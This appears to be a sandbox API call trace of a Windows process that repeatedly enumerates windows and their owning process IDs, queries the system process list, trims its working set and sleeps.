[0273.217] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0273.217] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0273.217] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0273.217] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0273.217] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0273.217] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0273.218] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0273.218] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0273.218] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0273.218] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0273.218] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0273.218] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0273.219] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0273.219] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0273.219] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0273.219] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0273.219] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0273.219] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0273.219] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0273.219] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0273.219] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0273.220] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0273.220] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0273.220] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0273.220] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0273.220] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0273.220] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0273.220] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0273.220] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0273.221] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0273.221] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0273.221] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0273.221] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0273.221] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0273.221] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0273.221] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0273.221] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0273.222] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0273.222] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0273.223] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0273.441] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0275.635] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11bd0) returned 0x0
[0275.650] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11bd0) returned 0x0
[0275.655] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11bd0) returned 0x0
[0275.659] EnumWindows (lpEnumFunc=0x1b1a2a5c, lParam=0x0) returned 1
[0275.659] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0275.659] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.659] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.660] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.660] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.660] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0275.661] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.661] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0275.661] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0275.661] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.661] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.661] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.661] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.662] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.662] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.662] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.662] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.662] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0275.662] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.662] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.663] GetWindowThreadProcessId (in: hWnd=0x10320, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0275.663] GetWindow (hWnd=0x10320, uCmd=0x4) returned 0x0
[0275.663] IsWindowVisible (hWnd=0x10320) returned 0
[0275.663] GetWindowThreadProcessId (in: hWnd=0x1031c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0275.663] GetWindow (hWnd=0x1031c, uCmd=0x4) returned 0x0
[0275.663] IsWindowVisible (hWnd=0x1031c) returned 0
[0275.663] GetWindowThreadProcessId (in: hWnd=0x10312, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0275.663] GetWindow (hWnd=0x10312, uCmd=0x4) returned 0x102e0
[0275.663] GetWindowThreadProcessId (in: hWnd=0x10310, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0275.663] GetWindow (hWnd=0x10310, uCmd=0x4) returned 0x102e0
[0275.664] GetWindowThreadProcessId (in: hWnd=0x1030a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0275.664] GetWindow (hWnd=0x1030a, uCmd=0x4) returned 0x102e0
[0275.664] GetWindowThreadProcessId (in: hWnd=0x10300, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0275.664] GetWindow (hWnd=0x10300, uCmd=0x4) returned 0x102e0
[0275.664] GetWindowThreadProcessId (in: hWnd=0x102fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0275.664] GetWindow (hWnd=0x102fe, uCmd=0x4) returned 0x102e0
[0275.664] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0275.664] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0275.664] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0275.664] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0275.664] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0275.665] IsWindowVisible (hWnd=0x102e0) returned 0
[0275.665] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0275.665] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0275.665] IsWindowVisible (hWnd=0x102e6) returned 0
[0275.665] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0275.665] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0275.665] IsWindowVisible (hWnd=0x102e2) returned 0
[0275.665] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0275.665] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0275.665] IsWindowVisible (hWnd=0x102de) returned 0
[0275.665] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0275.665] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0275.665] IsWindowVisible (hWnd=0x102dc) returned 0
[0275.665] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0275.666] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0275.666] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0275.666] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0275.666] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.666] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.666] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.666] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.667] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.667] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.667] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.667] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.667] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0275.667] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0275.667] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0275.667] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0275.668] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0275.668] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0275.668] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0275.668] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0275.668] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0275.668] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0275.668] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0275.669] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0275.669] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0275.669] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0275.669] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0275.669] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0275.669] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0275.669] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0275.670] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0275.670] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0275.670] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0275.670] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0275.670] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0275.670] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0275.670] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0275.671] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0275.671] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0275.671] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0275.671] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0275.671] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0275.671] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0275.671] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0275.672] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0275.672] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0275.672] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0275.672] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0275.672] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0275.672] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0275.672] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0275.672] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0275.673] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0275.673] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0275.673] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0275.673] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0275.673] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0275.673] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0275.673] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0275.674] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0275.674] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0275.674] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0275.674] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0275.674] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0275.674] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0275.674] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0275.674] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0275.675] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0275.675] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0275.675] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0275.675] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0275.675] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0275.675] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0275.770] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0275.770] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0275.770] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0275.770] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0275.770] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0275.771] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0275.771] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0275.771] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0275.771] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0275.771] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0275.771] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0275.771] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0275.771] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0275.772] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0275.772] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0275.772] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0275.772] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.772] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0275.772] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0275.772] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
